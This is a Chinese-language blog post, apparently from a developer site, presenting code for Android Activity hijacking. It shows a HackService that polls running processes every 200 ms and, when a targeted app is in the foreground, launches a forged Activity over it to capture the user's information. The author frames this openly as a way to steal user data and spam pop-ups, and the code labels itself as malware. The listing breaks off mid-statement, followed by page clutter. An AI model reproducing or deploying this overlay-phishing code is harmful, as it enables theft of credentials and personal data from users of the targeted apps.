Android-Activity劫持

Android-Acitivity劫持

由于Android的设计缺陷,当我们为Activity指定标志位FLAG_ ACTIVITY_ NEW_ TASK时,就能使Activity置于栈顶,并呈现给用户。

当然利用这个缺陷可以做很多羞羞的事情 【==】可以劫持用户信息,可以无限弹框(-。-;)等等ect.

今天我们来实现Activity劫持的代码:

1.通过遍历所有的进程,得到当前前台正在运行的应用进程

2.判断是否是目标进程,如果是启动伪造的Activity,对用户信息进行劫持。

hackService用于执行劫持主要逻辑

public class HackService extends Service {
//targetMap用于存放我们的目标程序
HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
Handler handler = new Handler();
boolean isStart = false;

//我们新建一个Runnable对象,每隔200ms进行一次搜索
Runnable searchTarget = new Runnable() {
    @Override
    public void run() {
        //得到ActivityManager
        ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        //通过ActivityManager将当前正在运行的进程存入processInfo中
        List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
        Log.w("恶意软件", "遍历进程");
        //遍历processInfo中的进程信息,看是否有我们的目标
        for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
            //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
            if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                if (targetMap.containsKey(_processInfo.
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值